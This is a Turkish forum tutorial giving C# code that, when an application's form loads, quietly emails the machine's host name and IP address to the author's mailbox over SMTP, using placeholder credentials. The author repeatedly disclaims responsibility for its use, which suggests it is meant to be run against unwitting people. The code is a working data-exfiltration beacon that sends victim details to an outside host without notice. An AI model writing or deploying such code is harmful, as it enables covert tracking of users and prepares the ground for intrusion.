Öncelikle Merhaba Arkadaşlar Bugün Sizlere Güzel Bir Konu Paylaşacağım.
AMA BEN BURADA SADECE ÖĞRETİYORUM KULLANIMI DAHİLİNDE SORUMLUSU BEN DEĞİLİM !
Şimdi öncelikle projenin Using kısmına şunları ekliyoruz.
C#:
using System.Net;
using System.Net.Mail;
Şimdi ise void olarak SendMail adında bir Method oluşturuyoruz.
ve içine bunları ekliyoruz.
C#:
var PcName = Dns.GetHostName();//PC Adını Alıyoruz
MailMessage msg = new MailMessage();//Göndereceğimiz Mesaj İle İlgili
SmtpClient client = new SmtpClient();//Mesajımızın ayarları ve Göndermek için lazım.
client.EnableSsl = true; //Gönderilen Mesajın Şifrelenmesini Sağlıyor true Olmazsa Çalışmaz.
Devamıdan ise bunları:
C#:
//Buraya birinci tırnak içine mail adresinizi ikinci parantez içine mail şifrenizi giriyorsunuz
client.Credentials = new System.Net.NetworkCredential("example@example.com", "passwd123");
//Burası önemli eğer eğer üstteki mail adresimiz outlook ise "smtp.live.com" yazıyoruz.
//Eğer gmail ise "smtp.gmail.com" yazıyoruz.
client.Host = "smtp.example.com";
//Bu böle kalsın bu smtp haberleşme portu.
client.Port = 587;
//Burada PC nin IP adresini alıyoruz.
var address = Dns.GetHostByName(PcName).AddressList[0].ToString();
//Mailin başlığını ayarlıyoruz ben böyle yaptım ve başlığa PC isim yazdırdım.
msg.Subject = "PC Name - " + PcName;
//Mail'in ana mesaj bölümüne ise IP adresini yazdırdım.
msg.Body = address;
//Burada Mesajın kimden geldiğini belirtiyoruz.
msg.From = new MailAddress("example@example.com");
//Burası mesajın yollanacak olan mail
msg.To.Add("example@example.com");
//burada artık mesajı yolluyoruz
client.Send(msg);
SendMail method unuda form1_load ta kullanırsanız uygulama açılır açılmaz mesaj gelecektir.
Tekrar söylüyorum sorumluluk bende değildir.
Türkiye'de biligi paylaşımı çoz az. Herkes parayı veren düdüğü çalar kafasında.
Emeğe saygı bi Beğeni alırım